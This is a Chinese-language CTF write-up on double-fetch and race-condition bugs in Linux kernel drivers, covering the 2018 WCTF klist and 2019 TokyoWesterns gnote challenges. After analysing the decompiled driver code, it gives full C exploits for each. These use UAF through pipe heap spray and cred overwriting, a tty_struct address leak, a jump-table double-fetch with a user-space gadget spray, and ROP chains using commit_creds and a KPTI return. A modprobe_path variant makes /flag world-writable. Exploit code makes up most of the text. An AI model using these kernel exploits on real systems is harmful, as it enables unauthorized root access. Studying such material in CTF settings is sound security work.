条件竞争在Kernel提权中的应用

 

Double-Fetch漏洞简介

随着多核CPU硬件的普及,并行程序被越来越广泛地使用,尤其是在操作系统、实时系统等领域。然而并行程序将会引入并发错误,例如多个线程都将访问一个共享的内存地址。如果其中一个恶意线程修改了该共享内存,则会导致其他线程得到恶意数据,这就导致了一个数据竞争漏洞。数据竞争极易引发并发错误,包括死锁,原子性违例(atomicity violation),顺序违例(order violation)等。当并发错误可以被攻击者利用时,就形成了并发漏洞。

当内核与用户线程发生了竞争,则产生了double fetch漏洞。如上图所示,用户态进程通过调用内核函数来访问内核数据,但是如果内核函数同时也会读取该内核数据时,则会产生一种漏洞情况。例如当内核数据第一次取该数据进行检查,然后检查通过后会第二次取该数据进行使用。而如果在第一次通过检查后,用户态进程修改了该数据,即会导致内核第二次使用该数据时,数据发生改变,则会造成包括缓冲区溢出、信息泄露、空指针引用等漏洞。

下面以两道题目讲述 Double-Fetch常见的漏洞点和常见的攻击方法。

2018-WCTF-klist

漏洞分析

__int64 __fastcall add_item(__int64 a1)
{
  __int64 chunk; // rax
  __int64 size; // rdx
  __int64 data; // rsi
  __int64 v4; // rbx
  __int64 v5; // rax
  __int64 result; // rax
  __int64 v7[3]; // [rsp+0h] [rbp-18h] BYREF

  if ( copy_from_user(v7, a1, 16LL) || v7[0] > 0x400uLL )
    return -22LL;
  chunk = _kmalloc(v7[0] + 24, 21103296LL);
  size = v7[0];
  data = v7[1];
  *(_DWORD *)chunk = 1;
  v4 = chunk;
  *(_QWORD *)(chunk + 8) = size;
  if ( copy_from_user(chunk + 24, data, size) )
  {
    kfree(v4);
    result = -22LL;
  }
  else
  {
    mutex_lock(&list_lock);
    v5 = g_list;
    g_list = v4;
    *(_QWORD *)(v4 + 16) = v5;
    mutex_unlock(&list_lock);
    result = 0LL;
  }
  return result;
}

Add函数,可以通过kmalloc申请一个堆块,并且将堆块的前0x18当作一个管理结构,如下所示:

0x0-0x8             flag
0x8-0x10:            size
0x10-0x18:        next

其中flag用于标记当前堆块的使用次数,size为大小,next指向下一个堆块。并且当将堆块插入g_list链表时,首先会调用互斥锁,将堆块插入后,再解锁。

__int64 __fastcall select_item(__int64 a1, __int64 a2)
{
  __int64 v2; // rbx
  __int64 v3; // rax
  volatile signed __int32 **v4; // rbp

  mutex_lock(&list_lock);
  v2 = g_list;
  if ( a2 > 0 )
  {
    if ( !g_list )
    {
LABEL_8:
      mutex_unlock(&list_lock);
      return -22LL;
    }
    v3 = 0LL;
    while ( 1 )
    {
      ++v3;
      v2 = *(_QWORD *)(v2 + 16);
      if ( a2 == v3 )
        break;
      if ( !v2 )
        goto LABEL_8;
    }
  }
  if ( !v2 )
    return -22LL;
  get((volatile signed __int32 *)v2);
  mutex_unlock(&list_lock);
  v4 = *(volatile signed __int32 ***)(a1 + 200);
  mutex_lock(v4 + 1);
  put(*v4);
  *v4 = (volatile signed __int32 *)v2;
  mutex_unlock(v4 + 1);
  return 0LL;
}

select用于从 g_list中选择需要的堆块,并放入 file+200处。而且放入时,也会先检查互斥锁,然后再解锁。这里还有一个 getput函数,分别如下:

void __fastcall get(volatile signed __int32 *a1)
{
  _InterlockedIncrement(a1);
}

__int64 __fastcall put(volatile signed __int32 *a1)
{
  __int64 result; // rax

  if ( a1 )
  {
    if ( !_InterlockedDecrement(a1) )
      result = kfree();
  }
  return result;
}

get用于将堆块的 flag加1。put用于将堆块的flag减1,并且判断当堆块的 flag为0时,则将该堆块 free掉。这里都是原子操作,不存在竞争。

__int64 __fastcall remove_item(__int64 a1)
{
  __int64 list_head; // rax
  __int64 v2; // rdx
  __int64 v3; // rdi
  volatile signed __int32 *v5; // rdi

  if ( a1 >= 0 )
  {
    mutex_lock(&list_lock);
    if ( !a1 )
    {
      v5 = (volatile signed __int32 *)g_list;
      if ( g_list )
      {
        g_list = *(_QWORD *)(g_list + 16);
        put(v5);
        mutex_unlock(&list_lock);
        return 0LL;
      }
      goto LABEL_12;
    }
    list_head = g_list;
    if ( a1 != 1 )
    {
      if ( !g_list )
      {
LABEL_12:
        mutex_unlock(&list_lock);
        return -22LL;
      }
      v2 = 1LL;
      while ( 1 )
      {
        ++v2;
        list_head = *(_QWORD *)(list_head + 16);
        if ( a1 == v2 )
          break;
        if ( !list_head )
          goto LABEL_12;
      }
    }
    v3 = *(_QWORD *)(list_head + 16);
    if ( v3 )
    {
      *(_QWORD *)(list_head + 16) = *(_QWORD *)(v3 + 16);
      put((volatile signed __int32 *)v3);
      mutex_unlock(&list_lock);
      return 0LL;
    }
    goto LABEL_12;
  }
  return -22LL;
}

Remove操作,是将选择的堆块,从 g_list链表中移除,并且会对堆块的 flag减1。

unsigned __int64 __fastcall list_head(__int64 a1)
{
  __int64 head; // rbx
  unsigned __int64 v2; // rbx

  mutex_lock(&list_lock);
  get((volatile signed __int32 *)g_list);
  head = g_list;
  mutex_unlock(&list_lock);
  v2 = -(__int64)(copy_to_user(a1, head, *(_QWORD *)(head + 8) + 24LL) != 0) & 0xFFFFFFFFFFFFFFEALL;
  put((volatile signed __int32 *)g_list);
  return v2;
}

list_head操作是先调用互斥锁,再从 g_list取出链表头堆块,再调用解锁。输出给用户,然后调用 put函数。

注意:我们查看每一次put操作,发现上面调用 putget时,都会调用互斥锁。而这里 在 put时却没有调用互斥锁。也就是存在了一个条件竞争漏洞。我们可以在执行 put函数之前,执行其他函数获得互斥锁,来构造一个条件竞争漏洞。

__int64 __fastcall list_read(__int64 a1, __int64 a2, unsigned __int64 a3)
{
  __int64 *v5; // r13
  __int64 v6; // rsi
  _QWORD *v7; // rdi
  __int64 result; // rax

  v5 = *(__int64 **)(a1 + 200);
  mutex_lock(v5 + 1);
  v6 = *v5;
  if ( *v5 )
  {
    if ( *(_QWORD *)(v6 + 8) <= a3 )
      a3 = *(_QWORD *)(v6 + 8);
    v7 = v5 + 1;
    if ( copy_to_user(a2, v6 + 24, a3) )
    {
      mutex_unlock(v7);
      result = -22LL;
    }
    else
    {
      mutex_unlock(v7);
      result = a3;
    }
  }
  else
  {
    mutex_unlock(v5 + 1);
    result = -22LL;
  }
  return result;
}

然后,read、write都是调用 file+200处的堆块指针。

这里结合 read和 write,就能够构造一个悬垂指针,进而实现任意地址读写。

利用分析

构造 UAF

构造一个 fork进程,在子进程中 不断调用AddSelect将堆块放入 file+200处,然后再调用 removeflag设置为1 。而在父进程中不断调用 list_head。那么就存在这样一种情况。

当父进程的list_head执行到 put之前时,此时互斥锁已经解锁。那么子进程就可以刚好调用了 一个 Add函数生成了一个新的链表头且执行了 remove此时flag为1,然后父进程执行put时该新链表头flag减1后,该新堆块就会被释放。然而,此时该新堆块被释放了,却在 file+200处留下了堆块地址,形成了一个悬垂指针。整体流程如下

                parent process:                    child process
mutex_lock()
                    get(old_chunk_head)
mutex_unlock()
mutex_lock()
                                                   Add(new_chunk_head)                flag=1
                                                     Select(new_chunk_head)            flag+1=2
                                                     Remove(new_chunk_head)            flag-1=1
mutex_unlock()
                    put(new_chunk_head)                                                flag-1=0

任意地址读写
这里的任意地址读写并不是指定地址读写实现,而是通过 UAF漏洞修改 堆块结构中的 size,将其改大。让我们能够读写一个巨大的size。而这里就需要一个能够分配 释放的堆块,并且写入该堆块的函数。这里选择管道 pipe函数,其代码如下:

SYSCALL_DEFINE1(pipe, int __user *, fildes)                         
SYSCALL_DEFINE2(pipe2, int __user *, fildes, int, flags)            
static int __do_pipe_flags(int *fd, struct file **files, int flags) 
int create_pipe_files(struct file **res, int flags)                 
static struct inode * get_pipe_inode(void)                          
struct pipe_inode_info *alloc_pipe_info(void)
... ...
// v4.4.110
unsigned long pipe_bufs = PIPE_DEF_BUFFERS;   // #define PIPE_DEF_BUFFERS    16
pipe->bufs = kzalloc(sizeof(struct pipe_buffer) * pipe_bufs, GFP_KERNEL);  
// v4.18.4
unsigned long pipe_bufs = PIPE_DEF_BUFFERS;
pipe->bufs = kcalloc(pipe_bufs, sizeof(struct pipe_buffer),GFP_KERNEL_ACCOUNT);
    //kcalloc最终还是调用kmalloc分配了 n*size 大小的堆空间
        //static inline void *kcalloc(size_t n, size_t size, gfp_t flags)

可以看到 pipe函数也是通过kzalloc实现,而 kzalloc就是加了一个将kmalloc后的堆块清空。所以也是kmalloc函数,那么只要size恰当,那么就一定能够将我们上面uafnew_chunk_head堆块申请出来,并写上数据。

那么利用pipe函数堆喷,就能够实现对 uafnew_chunk_headsize的修改。这里的选择当然不止 pipe函数,其他堆喷方法可参考这篇文章

覆写cred

得到任意地址读写的能力后,提权的方法其实有几种。覆写cred、修改 vdso、修改prctl、修改 modprobe_path,但是除了 覆写 cred,另外几种都需要知道内核地址。这里无法泄露地址。

那么,直接选择爆破 cred地址,然后将其 覆写为 0提权。这里选择爆破的标志位是 uid~fsgid在普通权限下都为 1000(0x3e8)。所以只要寻找到这个,就能确定 crednew_chunk_head的偏移。

这里我尝试了使用常用的设置 PR_SET_NAME,然后爆破寻找 该字符串地址,以此得到cred地址。但是结果是,爆破了很久在爆破出结果后,就卡住了,无法进行下一步。而调试的时候,竟然发现 子线程会一直循环执行,这点是我目前还没有考虑清楚的问题。

EXP

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <errno.h>
#include <stdlib.h>
#include <signal.h>
#include <string.h>
#include <sys/syscall.h>
#include <stdint.h>

int fd;

typedef struct List{
    size_t size;
    char* buf;
}klist;

void ErrPro(char* buf){
    printf("Error %s\n",buf);
    exit(-1);
}

void Add(size_t sz, char* buffer){
    klist* list = malloc(sizeof(klist));
    list->size = sz-0x18;
    list->buf = buffer;  
    if(0 < ioctl(fd, 0x1337, list)){
        ErrPro("Add");
    }
}

void Select(size_t num){
    if(-1 == ioctl(fd, 0x1338, num)){
        ErrPro("Select");
    }
}

void Remove(size_t num){
    if(-1 == ioctl(fd, 0x1339, num)){
        ErrPro("Remove");
    }
}

void getHead(char* buf){
    if(-1 == ioctl(fd, 0x133A, buf)){
        ErrPro("getHead");
    }
}

int main(){
    int pid = 0;

    fd = open("/dev/klist", O_RDWR);
    if(fd < 0){
        ErrPro("Open dev");
    }

    char bufA[0x500] = { 0 };
    char bufB[0x500] = { 0 };
    char buf[0x500] = { 0 };
    memset(bufA, 'a', 0x500);
    memset(bufB, 'b', 0x500);

    Add(0x280, bufA);
    Select(0);

    puts("competition now");
    pid = fork();
    if(pid == 0){
        for(int i=0; i<200; i++){
            pid = fork();
            if(pid == 0){
                while(1){
                    if(!getuid()){
                        puts("Root now=====>");
                        system("cat /flag");
                    }
                }
            }
        }

        while(1){
            Add(0x280, bufA);   //creat chunk0 flag=1
            Select(0);          //put chunk0 into file_operations,flag+1=2

            Remove(0);          //flag-1
            Add(0x280, bufB);   //race condition, maybe change chunk0
            read(fd, buf, 0x500);
            if(buf[0] != 'a'){  //if chunk0 changed, race win
                puts("child process race win");
                break;
            }
            Remove(0);          //else, race continue
        }

        puts("Now pipe to heap spray");
        Remove(0);              //uaf point
        char buf3[0x500] = { 0 };
        memset(buf3, 'E', 0x500);
        int fds[2];
    //getchar();
        //利用pipe堆喷,分配到 uaf point and change its size
        pipe(&fds[0]);
        for(int i = 0; i < 9; i++) {
            write(fds[1], buf3, 0x500);   
        }

        puts("We can read and write arbitary, To find cred");
        unsigned int *buffer = (unsigned int *)malloc(0x1000000);
        read(fd, buffer, 0x1000000);    //the uaf pointer'size has been changed
        unsigned int pos = 0;
        int count = 0;
        for(int i=0; i<0x1000000/4; i++){
            if(buffer[i] == 1000 && buffer[i+1] == 1000 && buffer[i+7] == 1000){
                puts("Found cred now");
                pos = i+8;
                for(int x=0; x<8; x++){
                    buffer[i+x] = 0;
                }
                count ++;
                if(count >= 2){
                    break;
                }
            }
        }
    printf("pos: 0x%llx\n",pos*4);
        write(fd, buffer, pos*4);
        while(1){
            if(!getuid()){
                puts("Root now=====>");
                system("cat /flag");
            }
        }
    }
    else if(pid > 0){
        char buf4[0x500] = { 0 };
        memset(buf4, '\x00', 0x500);
        while(1){
            getHead(buf4);
            read(fd, buf4, 0x500);
            if(buf4[0] != 'a'){
                puts("Parent process race won");
                break;
            }
        }
        while(1){
            if(!getuid()){
                puts("Root now=====>");
                system("cat /flag");
            }
        }
    }
    else 
    {
        puts("fork failed");
        return -1;
    }
    return 0;
}

2019-TokyoWesterns-gnote

漏洞分析

题目首先就给了源码,从源码中可以直接看出来就两个功能,一个是 write,使用了一个 siwtch case结构,实现了两个功能,一是kmalloc申请堆块,一个是 case 5选择堆块。

ssize_t gnote_write(struct file *filp, const char __user *buf, size_t count, loff_t *f_pos)
{
  unsigned int index;
  mutex_lock(&lock);
  /*
   * 1. add note
   * 2. edit note
   * 3. delete note
   * 4. copy note
   * 5. select note
   * No implementation :(
   */
  switch(*(unsigned int *)buf){
    case 1:
      if(cnt >= MAX_NOTE){
        break;
      }
      notes[cnt].size = *((unsigned int *)buf+1);
      if(notes[cnt].size > 0x10000){
        break;
      }
      notes[cnt].contents = kmalloc(notes[cnt].size, GFP_KERNEL);
      cnt++;
      break;
    case 2:
      printk("Edit Not implemented\n");
      break;
    case 3:
      printk("Delete Not implemented\n");
      break;
    case 4:
      printk("Copy Not implemented\n");
      break;
    case 5:
      index = *((unsigned int *)buf+1);
      if(cnt > index){
        selected = index;
      }
      break;
  }
  mutex_unlock(&lock);
  return count;
}

还有一个功能就是read,读取堆块中的数据。

ssize_t gnote_read(struct file *filp, char __user *buf, size_t count, loff_t *f_pos)
{
  mutex_lock(&lock);
  if(selected == -1){
    mutex_unlock(&lock);
    return 0;
  }
  if(count > notes[selected].size){
    count = notes[selected].size;
  }
  copy_to_user(buf, notes[selected].contents, count);
  selected = -1;
  mutex_unlock(&lock);
  return count;
}

然后,虽然给了源码和汇编,看到最后也没发现有什么问题。猜测可能是条件竞争,但是常规的堆块也没有竞争的可能性。这题的漏洞出的十分隐蔽了,write功能中是通过 switch case实现跳转,在汇编中switch case是通过swicth table跳转表实现的,即看如下汇编:

.text:0000000000000019                 cmp     dword ptr [rbx], 5 ; switch 6 cases
.text:000000000000001C                 ja      short def_20    ; jumptable 0000000000000020 default case
.text:000000000000001E                 mov     eax, [rbx]
.text:0000000000000020                 mov     rax, ds:jpt_20[rax*8] ; switch jump
.text:0000000000000028                 jmp     __x86_indirect_thunk_rax

会先判断 跳转id是否大于最大的跳转 路径 5,如果不大于再使用 ds:jpt_20这个跳转表来获得跳转的地址。这里可以看到这个 id,首先是从 rbx所在地址中的值与5比较,然后将rbx中的值复制给 eax,通过 eax来跳转。那么存在一种情况,当[rbx]5比较通过后,有另一个进程修改了 rbx的值 将其改为了 一个大于跳转表的值,这里由于 rbx的值是用户态传入的参数,所以是能够被用户态所修改的。随后系统将rbx的值传给eax,此时eax大于5,即可实现 劫持控制流到一个 较大的地址。
也即,这里存在一个 double fetch洞。

利用分析

泄露地址
这里泄露地址的方法,感觉在真实漏洞中会用到,即利用 tty_struct中的指针来泄露地址。
可以先打开一个 ptmx,然后 close掉。随后使用 kmalloc申请与 tty_struct大小相同的slub,这样就能将tty_struct结构体申请出来。然后利用 read函数读取其中的指针,来泄露地址。

double-fetch堆喷
上面已经分析了可以利用 double-fetch来实现任意地址跳转。那么这里我们跳转到哪个地址呢,跳转后又该怎么执行呢?

这里我们首先选择的是用户态空间,因为这里只有用户态空间的内容是我们可控的,且未开启smap内核可以访问用户态数据。我们可以考虑在用户态通过堆喷布置大量的 gadget,使得内核态跳转时一定能落到gadget中。那么这里用户态空间选择什么地址呢?

这里首先分析 上面 swicth_table是怎么跳的,这里jmp_table+(rax*8),当我们的rax输入为 0x8000200,假设内核基址为0xffffffffc0000000,则最终访问的地址将会溢出 (0xffffffffc0000000+0x8000200*8 == 0x1000),那么最终内核最终将能够访问到 0x1000

由于内核模块加载的最低地址是 0xffffffffc0000000,通常是基于这个地址有最多 0x1000000大小的浮动,所以这里我们的堆喷页面大小 肯定要大于 0x1000000,才能保证内核跳转一定能跳到 gadget 。而一般未开启 pie的用户态程序地址空间为 0x400000,如果我们选择低于0x400000的地址开始堆喷,那么最终肯定会对 用户态程序,动态库等造成覆盖。 所以这里我们最佳的地址是 0x8000000,我们的输入为:

(0xffffffffc0000000+0x9000000*8 == 0x8000000)

那么我们选择0x8000000地址,并堆喷 0x1000000大小的 gadget。那么这里应该选择何种 gadget呢?

这里的思路是最好确保内核态执行执行了 gadget后,能被我们劫持到位于用户态空间的的ROP上。这里选用的 gadgetxchg eax, esp,会将 RAX寄存器的 低 4byte切换进 esp寄存器,同时rsp拓展位的高32位清0,这样就切换到用户态的栈了。

然后我们的 ROP部署在哪个地址呢?这里需要根据xchg eax, esp这个gadget的地址来计算,通过在xchg_eax_rsp_r_addr & 0xfffff000处开始分配空间,在 xchg_eax_rsp_r_addr & 0xffffffff处存放内核 ROP链,就可以通过 ROP提权。

然后这里 提权,需要注意开启了 KPTI保护,关于 KPTI保护及绕过方法可以参考这篇文章

EXP

//$ gcc -O3 -pthread -static -g -masm=intel ./exp.c -o exp
#include <pthread.h>
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/uio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/mman.h>
#include <syscall.h>
#include <sys/ipc.h>
#include <sys/sem.h>
#include <sys/user.h>

size_t user_cs, user_ss, user_rflags, user_sp;
size_t prepare_kernel =  0x69fe0;
size_t commit_creds = 0x69df0;
size_t p_rdi_r = 0x1c20d;
size_t mv_rdi_rax_p_r = 0x21ca6a;
size_t p_rcx_r = 0x37523;
size_t p_r11_p_rbp_r = 0x1025c8;
size_t kpti_ret = 0x600a4a;
size_t iretq = 0x0;
size_t modprobe_path = 0x0;
size_t xchg_eax_rsp_r = 0x1992a;
size_t xchg_cr3_sysret = 0x600116;
int fd;
int istriggered = 0;
typedef struct Knote{
    unsigned int ch;
    unsigned int size;
}gnote;

void Err(char* buf){
    printf("%s Error\n");
    exit(-1);
}

void getshell(){
    if(!getuid()){
        system("/bin/sh");
    }
    else{
        err("Not root");
    }
}

void shell()
{
    istriggered =1;
    puts("Get root");
  char *shell = "/bin/sh";
  char *args[] = {shell, NULL};
  execve(shell, args, NULL);
}

void getroot(){
    char* (*pkc)(int) = prepare_kernel;
    void (*cc)(char*) = commit_creds;
    (*cc)((*pkc)(0));
}

void savestatus(){
       __asm__("mov user_cs,cs;"
           "mov user_ss,ss;"
           "mov user_sp,rsp;"
           "pushf;"            //push eflags
           "pop user_rflags;"
          );
}

void Add(unsigned int sz){
    gnote gn;
    gn.ch = 1;
    gn.size = sz;
    if(-1 == write(fd, &gn, sizeof(gnote))){
        Err("Add");
    }
}

void Select(unsigned int idx){
    gnote gn;
    gn.ch = 5;
    gn.size = idx;
    if(-1 == write(fd, &gn, sizeof(gnote))){
        Err("Select");
    }
}

void Output(char* buf, size_t size){
    if(-1 == read(fd, buf, size)){
        Err("Read");
    }
}

void LeakAddr(){
    int fdp=open("/dev/ptmx", O_RDWR|O_NOCTTY);
    close(fdp);
    sleep(1); // trigger rcu grace period

    Add(0x2e0);
    Select(0);
    char buffer[0x500] = { 0 };
    Output(buffer, 0x2e0);

    size_t vmlinux_addr = *(size_t*)(buffer+0x18)- 0xA35360;
    printf("vmlinux_addr: 0x%llx\n", vmlinux_addr);

    prepare_kernel += vmlinux_addr;
    commit_creds += vmlinux_addr;
    p_rdi_r += vmlinux_addr;
    xchg_eax_rsp_r += vmlinux_addr;
    xchg_cr3_sysret += vmlinux_addr;
    mv_rdi_rax_p_r += vmlinux_addr;
    p_rcx_r += vmlinux_addr;
    p_r11_p_rbp_r += vmlinux_addr;
    kpti_ret += vmlinux_addr;

    printf("p_rdi_r: 0x%llx, xchg_eax_rsp_r: 0x%llx\n", p_rdi_r, xchg_eax_rsp_r);
getchar();
    puts("Leak addr OK");
}

void HeapSpry(){
    char* gadget_mem = mmap((void*)0x8000000, 0x1000000, PROT_READ|PROT_WRITE,
        MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1,0);
    unsigned long* gadget_addr = (unsigned long*)gadget_mem;

    for(int i=0; i < (0x1000000/8); i++){
        gadget_addr[i] = xchg_eax_rsp_r;
    } 

}

void Prepare_ROP(){
    char* rop_mem = mmap((void*)(xchg_eax_rsp_r&0xfffff000), 0x2000, PROT_READ|PROT_WRITE,
        MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0);
    unsigned long* rop_addr = (unsigned long*)(xchg_eax_rsp_r & 0xffffffff);
    int i = 0;
    rop_addr[i++] = p_rdi_r;
    rop_addr[i++] = 0;
    rop_addr[i++] = prepare_kernel;
    rop_addr[i++] = mv_rdi_rax_p_r;
    rop_addr[i++] = 0;
    rop_addr[i++] = commit_creds;

    // xchg_CR3_sysret
    rop_addr[i++] = kpti_ret;
    rop_addr[i++] = 0;
    rop_addr[i++] = 0;
    rop_addr[i++] = &shell;
    rop_addr[i++] = user_cs;
    rop_addr[i++] = user_rflags;
    rop_addr[i++] = user_sp;
    rop_addr[i++] = user_ss;
}

void race(void *s){
    gnote *d=s;
    while(!istriggered){
        d->ch = 0x9000000; // 0xffffffffc0000000 + (0x8000000+0x1000000)*8 = 0x8000000
        puts("[*] race ...");
    }
}


void Double_Fetch(){
    gnote gn;
    pthread_t pthread;
    gn.size = 0x10001;
    pthread_create(&pthread,NULL, race, &gn);
    for (int j=0; j< 0x10000000000; j++)
    {
        gn.ch = 1;
        write(fd, (void*)&gn, sizeof(gnote));
    }
    pthread_join(pthread, NULL);
}

int main(){
    savestatus();

    fd=open("proc/gnote", O_RDWR);
    if (fd<0)
    {
        puts("[-] Open driver error!");
        exit(-1);
    }

    LeakAddr();

    HeapSpry();

    Prepare_ROP();

    Double_Fetch();

    return 0;
}

当然这里也可以使用 modprobe_path,执行完后手动执行一下/tmp/ll文件,即可将 flag权限改为 777。

//$ gcc -O3 -pthread -static -g -masm=intel ./exp.c -o exp
#include <pthread.h>
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/uio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/mman.h>
#include <syscall.h>
#include <sys/ipc.h>
#include <sys/sem.h>
#include <sys/user.h>

size_t user_cs, user_ss, user_rflags, user_sp;
size_t prepare_kernel =  0x69fe0;
size_t commit_creds = 0x69df0;
size_t p_rdi_r = 0x1c20d;
size_t mv_rdi_rax_p_r = 0x21ca6a;
size_t p_rcx_r = 0x37523;
size_t p_r11_p_rbp_r = 0x1025c8;
size_t kpti_ret = 0x600a4a;
size_t memcpy_addr = 0x58a100;
size_t modprobe_path = 0xC2C540;
size_t xchg_eax_rsp_r = 0x1992a;
size_t xchg_cr3_sysret = 0x600116;
size_t p_rsi_r = 0x37799;
size_t p_rdx_r = 0xdd812;
int fd;
int istriggered = 0;
typedef struct Knote{
    unsigned int ch;
    unsigned int size;
}gnote;

void Err(char* buf){
    printf("%s Error\n");
    exit(-1);
}

void getshell(){
    if(!getuid()){
        system("/bin/sh");
    }
    else{
        err("Not root");
    }
}

void shell()
{
    istriggered =1;
    puts("Get root");
    system("/tmp/ll");
    system("cat /flag");
}

void getroot(){
    char* (*pkc)(int) = prepare_kernel;
    void (*cc)(char*) = commit_creds;
    (*cc)((*pkc)(0));
}

void savestatus(){
       __asm__("mov user_cs,cs;"
           "mov user_ss,ss;"
           "mov user_sp,rsp;"
           "pushf;"            //push eflags
           "pop user_rflags;"
          );
}

void Add(unsigned int sz){
    gnote gn;
    gn.ch = 1;
    gn.size = sz;
    if(-1 == write(fd, &gn, sizeof(gnote))){
        Err("Add");
    }
}

void Select(unsigned int idx){
    gnote gn;
    gn.ch = 5;
    gn.size = idx;
    if(-1 == write(fd, &gn, sizeof(gnote))){
        Err("Select");
    }
}

void Output(char* buf, size_t size){
    if(-1 == read(fd, buf, size)){
        Err("Read");
    }
}

void LeakAddr(){
    int fdp=open("/dev/ptmx", O_RDWR|O_NOCTTY);
    close(fdp);
    sleep(1); // trigger rcu grace period

    Add(0x2e0);
    Select(0);
    char buffer[0x500] = { 0 };
    Output(buffer, 0x2e0);

    size_t vmlinux_addr = *(size_t*)(buffer+0x18)- 0xA35360;
    printf("vmlinux_addr: 0x%llx\n", vmlinux_addr);

    prepare_kernel += vmlinux_addr;
    commit_creds += vmlinux_addr;
    p_rdi_r += vmlinux_addr;
    xchg_eax_rsp_r += vmlinux_addr;
    xchg_cr3_sysret += vmlinux_addr;
    mv_rdi_rax_p_r += vmlinux_addr;
    p_rcx_r += vmlinux_addr;
    p_r11_p_rbp_r += vmlinux_addr;
    kpti_ret += vmlinux_addr;
    memcpy_addr += vmlinux_addr;
    modprobe_path += vmlinux_addr;
    p_rsi_r += vmlinux_addr;
    p_rdx_r += vmlinux_addr;

    printf("p_rdi_r: 0x%llx, xchg_eax_rsp_r: 0x%llx\n", p_rdi_r, xchg_eax_rsp_r);

    puts("Leak addr OK");
}

void HeapSpry(){
    char* gadget_mem = mmap((void*)0x8000000, 0x1000000, PROT_READ|PROT_WRITE,
        MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1,0);
    unsigned long* gadget_addr = (unsigned long*)gadget_mem;

    for(int i=0; i < (0x1000000/8); i++){
        gadget_addr[i] = xchg_eax_rsp_r;
    }
}

void Prepare_ROP(){
    char* rop_mem = mmap((void*)(xchg_eax_rsp_r&0xfffff000), 0x2000, PROT_READ|PROT_WRITE,
        MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0);
    unsigned long* rop_addr = (unsigned long*)(xchg_eax_rsp_r & 0xffffffff);
    unsigned long sh_addr = (xchg_eax_rsp_r&0xfffff000)+0x1000;
    memcpy(sh_addr, "/tmp/chmod.sh\0\n", 20);
    int i = 0;
    rop_addr[i++] = p_rdi_r;
    rop_addr[i++] = modprobe_path;
    rop_addr[i++] = p_rsi_r;
    rop_addr[i++] = sh_addr;
    rop_addr[i++] = p_rdx_r;
    rop_addr[i++] = 0x18;
    rop_addr[i++] = memcpy_addr;

    // xchg_CR3_sysret
    rop_addr[i++] = kpti_ret;
    rop_addr[i++] = 0;
    rop_addr[i++] = 0;
    rop_addr[i++] = &shell;
    rop_addr[i++] = user_cs;
    rop_addr[i++] = user_rflags;
    rop_addr[i++] = user_sp;
    rop_addr[i++] = user_ss;
}

void race(void *s){
    gnote *d=s;
    while(!istriggered){
        d->ch = 0x9000000; // 0xffffffffc0000000 + (0x8000000+0x1000000)*8 = 0x8000000
        puts("[*] race ...");
    }
}


void Double_Fetch(){
    gnote gn;
    pthread_t pthread;
    gn.size = 0x10001;
    pthread_create(&pthread,NULL, race, &gn);
    for (int j=0; j< 0x10000000000; j++)
    {
        gn.ch = 1;
        write(fd, (void*)&gn, sizeof(gnote));
    }
    pthread_join(pthread, NULL);
}

int main(){
    system("echo -ne '#!/bin/sh\n/bin/chmod 777 /flag\n' > /tmp/chmod.sh");
    system("chmod +x /tmp/chmod.sh");
    system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/ll");
    system("chmod +x /tmp/ll");
    savestatus();

    fd=open("proc/gnote", O_RDWR);
    if (fd<0)
    {
        puts("[-] Open driver error!");
        exit(-1);
    }

    LeakAddr();

    HeapSpry();

    Prepare_ROP();

    Double_Fetch();

    return 0;
}

参考

A Survey of The Double-Fetch Vulnerabilities
针对Linux内核中double fetch漏洞的研究

(完)